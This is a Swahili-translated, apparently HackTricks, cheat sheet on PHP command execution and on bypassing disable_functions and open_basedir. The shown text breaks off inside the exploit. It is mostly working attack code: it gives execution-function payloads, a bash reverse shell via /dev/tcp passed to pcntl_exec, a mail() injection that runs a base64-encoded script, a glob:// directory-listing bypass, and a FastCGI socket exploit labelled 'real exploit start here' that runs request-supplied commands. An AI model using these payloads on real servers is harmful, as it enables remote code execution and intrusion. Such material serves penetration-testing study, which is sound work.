PHP - Useful Functions & disable_functions/open_basedir bypass

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

PHP Amri & Utekelezaji wa Kanuni

Utekelezaji wa Amri za PHP

Maelezo: p0wny-shell webshell ya php inaweza kiotomatiki kuangalia na kuvuka kazi zifuatazo ikiwa baadhi yao zimelemazwa.

exec - Inarudisha mstari wa mwisho wa matokeo ya amri.

echo exec("uname  -a");

passthru - Inapitisha matokeo ya amri moja kwa moja kwenye kivinjari

echo passthru("uname -a");

system - Inapeleka matokeo ya amri moja kwa moja kwenye kivinjari na kurudisha mstari wa mwisho

echo system("uname -a");

shell_exec - Inarudisha matokeo ya amri

echo shell_exec("uname -a");

`` (backticks) - Sawa na shell_exec()

echo `uname -a`

popen - Inafungua mrija wa kusoma au kuandika kwa mchakato wa amri

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Sawa na popen() lakini kiwango kikubwa cha udhibiti

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Inatekeleza programu (kwa chaguo-msingi katika PHP ya kisasa na isiyo ya kisasa unahitaji kupakia moduli ya pcntl.so ili kutumia kazi hii)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

barua pepe / mb_send_mail - Hii kazi hutumiwa kutuma barua pepe, lakini inaweza kutumiwa vibaya kuingiza amri za kupendelea ndani ya $options parameter. Hii ni kwa sababu php mail function kawaida huita sendmail binary ndani ya mfumo na inakuruhusu kuweka chaguo za ziada. Walakini, hautaweza kuona matokeo ya amri iliyotekelezwa, kwa hivyo inashauriwa kuunda script ya shell ambayo inaandika matokeo kwenye faili, kuitekeleza kwa kutumia mail, na kuchapisha matokeo:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Kazi hii inaweza kutumika kudhibitisha mzigo wa PHP kwa kudhibitisha kipanuzi. Kazi hii haitakuwepo kila wakati, hivyo unapaswa kuhakikisha kama ipo kabla ya kujaribu kuitumia. Soma ukurasa huu kujifunza jinsi ya kutumia kazi hii.

Utekelezaji wa Msimbo wa PHP

Mbali na eval kuna njia nyingine za kutekeleza msimbo wa PHP: include/require inaweza kutumika kwa utekelezaji wa msimbo wa PHP kwa njia ya udhaifu wa Kuingiza Faili za Ndani na Kuingiza Faili za Mbali.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Funguo zilizozimwa ni mipangilio inayoweza kusanidiwa katika faili za .ini katika PHP ambayo itazuia matumizi ya kazi zilizotajwa. Open basedir ni mipangilio inayoonyesha PHP folda ambayo inaweza kufikia. Mipangilio ya PHP huzoeleka kusanidiwa katika njia /etc/php7/conf.d au sawa na hiyo.

Mipangilio yote inaweza kuonekana kwenye matokeo ya phpinfo():

open_basedir Bypass

open_basedir itasanidi folda ambazo PHP inaweza kufikia, hutaweza kuandika/kusoma/kutekeleza faili yoyote nje ya folda hizo, lakini pia hutaweza hata kuorodhesha mabano mengine. Hata hivyo, ikiwa kwa namna fulani unaweza kutekeleza msimbo wa PHP kwa hiari unaweza jaribu kifungu kifuatacho cha mambo kujaribu kupita kizuizi.

Kuorodhesha mabano na kizuizi cha glob://

Katika mfano wa kwanza, itatumika itifaki ya glob:// na kizuizi cha njia fulani:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Note1: Katika njia unaweza pia kutumia /e??/* kuorodhesha /etc/* na folda nyingine yoyote. Note2: Inaonekana kama sehemu ya nambari imejirudia, lakini hiyo ni muhimu! Note3: Mfano huu ni muhimu tu kwa kuorodhesha folda si kusoma faili

Kukiuka kabisa open_basedir kwa kutumia FastCGI

Ikiwa unataka kujifunza zaidi kuhusu PHP-FPM na FastCGI unaweza kusoma sehemu ya kwanza ya ukurasa huu. Ikiwa php-fpm imeboreshwa unaweza kuitumia kukiuka kabisa open_basedir:

Tafadhali kumbuka jambo la kwanza unalohitaji kufanya ni kupata socket ya unix ya php-fpm. Kawaida huwa chini ya /var/run hivyo unaweza kutumia nambari iliyotangulia kuorodhesha folda na kuipata. Nambari kutoka hapa.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);